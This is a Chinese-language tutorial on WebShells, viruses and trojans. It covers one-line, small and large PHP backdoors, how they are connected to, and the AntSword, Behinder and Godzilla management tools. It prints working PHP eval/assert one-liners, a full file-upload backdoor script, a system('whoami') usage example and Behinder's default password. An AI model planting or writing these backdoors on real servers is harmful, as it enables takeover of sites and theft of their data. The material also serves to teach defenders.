一.WebShell
1.基本概念
WebShell就是以asp、php、jsp等网页文件形式存在的一种命令执行境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,
得到一个命令执行环境,以达到控制网站服务器的目的。
2.WebShell的优点
WebShell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用WebShell一般不会在系统日志中留下记录,只会在网站的Web(比如apache的access.log)日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
二.病毒和木马
1.病毒
平时一般我们所说的病毒,指的是感染型病毒,是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。其具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。
- 生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期
- PS:与生物病毒有很多的相似的地方,比如说自我繁殖、互相传染以及激活再生等生物病毒特征等等。
2.木马
木马病毒源自古希腊特洛伊战争中著名的“木马计”而得名,木马是一种带有恶意性质的远程控制软件。它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
三.WebShell的分类
WebShell根据编程语言可以分为php木马,asp木马,也有基于.NET的aspx木马和基于Java的jsp木马。根据文件大小,也可以分为大马、小马、一句话木马。
1.一句话木马
-
主要特点:代码简短,通常只有一行代码,使用方便。
-
客户端向服务端传递参数的三种方式:GET、POST、COOKIE
- GET:<?php eval($_GET['a']);?>
- POST:<?php eval($_POST['a']);?>
- COOKIE:<?php assert($_COOKIE['a']);?>
-
一句话木马用 $_GET[''] 、 $_POST[''] 、 $_COOKIE[''] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令(执行命令:eval、assert等)。
- PS:php代码用<?php开头,代码的结束需要加上分号(;),如果是纯php代码那么结尾的?>不加也可以。
2.小马
-
主要特点:只包含文件上传功能,体积小。
<?php @$temp = $_FILES['upload_file']['tmp_name']; @$file = basename($_FILES['upload_file']['name']); if(empty($file)){echo "<form action='' method='POST' ENCTYPE='multipart/form-data'>\n";echo "local file:<input type='file' name='upload_file'>\n";echo "<input type='submit' value='Upload'>\n";echo "</form>\n<pre>\n\n</pre>"; }else{if(move_uploaded_file($temp,$file)){echo "successfully.<p>\n";}else{echo "unable to uplaod" . $file . ".<p>\n";} } ?>
3.大马
-
主要特点:体积大,包含很多功能,代码通常会进行加密隐藏。
四.WebShell的连接
-
WebShell实际上与平常的网站文件一样,可以通过浏览器去进行访问(前提是被访问的网站存在该文件)
- 关键点在于传递的参数,通过a参数(a参数可以自定义,通过post.php这个一句话木马文件进行修改)向服务器传递system('whoami'); ,效果等同于在命令提示符下执行 whoami 命令。
五.WebShell管理工具
攻击者在入侵网站时,通常要通过各种方式写入WebShell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件、窃取用户数据,篡改网站页面等操作。为了方便对这些WebShell进行管理,就诞生了各种各样的WebShell管理工具。
1.中国蚁剑
介绍:中国蚁剑是一款开源的网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
-
项目地址:
- GitHub - AntSwordProject/AntSword-Loader: AntSword 加载器
- Release AntSword v2.1.14 · AntSwordProject/antSword · GitHub
-
AntSword 文档:AntSword 文档 (yuque.com)
2.冰蝎
介绍:冰蝎通信过程中使用AES(高级加密算法,对称加密,微信小程序使用此种方法)进行加密,Java和.NET默认支持AES,php中需要开启openssl扩展,在V2.0版本后,php环境方式根据服务端支持情况动态选择,使得冰蝎更强大。
-
项目地址:GitHub - rebeyond/Behinder: “冰蝎”动态二进制加密网站管理客户端
- PS:冰蝎的WebShell只能使用冰蝎客户端进行连接,密码默认为:rebeyond
3.哥斯拉
介绍:护网期间,各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友甚至连不上冰蝎的shell,于是@BeichenDream决定公开他所开发的一款shell权限管理工具,名为“哥斯拉”。
- 项目地址:GitHub - BeichenDream/Godzilla: 哥斯拉